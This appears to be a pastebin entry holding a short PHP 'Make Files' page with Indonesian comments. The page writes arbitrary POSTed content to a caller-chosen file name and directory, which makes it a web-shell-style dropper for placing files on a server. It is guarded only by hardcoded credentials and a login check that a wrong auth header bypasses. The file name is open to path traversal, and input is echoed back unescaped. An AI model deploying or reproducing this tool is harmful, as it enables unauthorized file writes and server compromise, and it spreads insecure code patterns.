RieqyNS13 icon

mbuh

RieqyNS13 | PRO | 02/18/13 12:21:23 PM UTC | 0 ⭐ | 363 👁️ | Never ⏰ | []
PHP |

2.4 KB

|

None

|

0 👍

/

0 👎

<?php 
//cek session
session_start();
if(!isset($_SESSION['user'])){
    Login();
}
 
//login function
function Login(){
    $user = "rieqy"; 
    $pass = "maho";
    if(!isset($_SERVER['HTTP_AUTH_USER'])){
        header("WWW-Authenticate: Basic realm=\"RieqyNS13\"");
        header("HTTP/1.0 401 Unauthorized");
        exit;
    }
    if(($_SERVER['HTTP_AUTH_USER'] == $user) && ($_SERVER['HTTP_AUTH_PW'] == $pass)){
        $_SESSION['user'] = $user;
        header("Location: ".$_SERVER['REQUEST_URI']);
    }
}
 
//Jika Session sudah diset, kode di bawah akan dijalankan
date_default_timezone_set("Asia/Jakarta");
$result = null;
$judul = null;
$codes = null;
if(isset($_POST['btnSubmit'])){
    if(empty($_POST['txJudul']) || empty($_POST['txCodes'])){
        $result = "Judul atau kotak area masih kosong";
        $judul = trim($_POST['txJudul']);
        $codes = trim($_POST['txCodes']);
        $date = null;
    }else{
        if(isset($_POST['dir']) && !empty($_POST['dir'])){
            $judul = trim($_POST['txJudul']);
        $codes = trim($_POST['txCodes']);
        $dir = $_POST['dir'];
        $result = "Disimpan di direktori ".$dir."<br>";
        $handle = fopen($dir."/$judul", "w");
        fwrite($handle, $codes);
        fclose($handle);
        $date = date("d-m-Y h:i:s");
        }
    }
}else{
    $date = null;
}
?>
<html>
<head>
<title>Make Files</title>
<style type="text/css">
body{
background:#000;
color:#0F0;
font-family:"Courier New";
font-size:13px;
}
table td.xxx{
text-align:right;
font-size:14px;
}
input, textarea, select{
border:solid #888 1px;
font-family:"Courier New";
background:#000;
color:#0F0;
}
</style>
</head>
<body>
<form action="<?php $_SERVER['PHP_SELF']; ?>" method=POST>
<table>
<tr><td class="xxx"><label for = "title">Judul :</label></td><td><input value="<?php echo $judul; ?>" type="text" size="50" name="txJudul"><input value="Generate"type="submit" name="btnSubmit"></td></tr>
<tr><td class="xxx"><label for = "title">Lokasi :</label></td>
<td><select name="dir">
<?php
$dir = ".";
    $dh = opendir($dir);
        while (($file = readdir($dh)) !== false) {
        if(is_dir($file)){
            echo "<option value=$file>$file</option>";
            }
        }
        closedir($dh);
?>
</select><label for="Result" style="font-size:13px;"><?php echo $result; ?></label></td></tr></table>
<label for ="saved"><?php echo "Disimpan pada ".$date;?></label>
<br>
<textarea rows="50" cols="100" name="txCodes"><?php echo $codes; ?></textarea>
</form>
</body>
</html>

Comments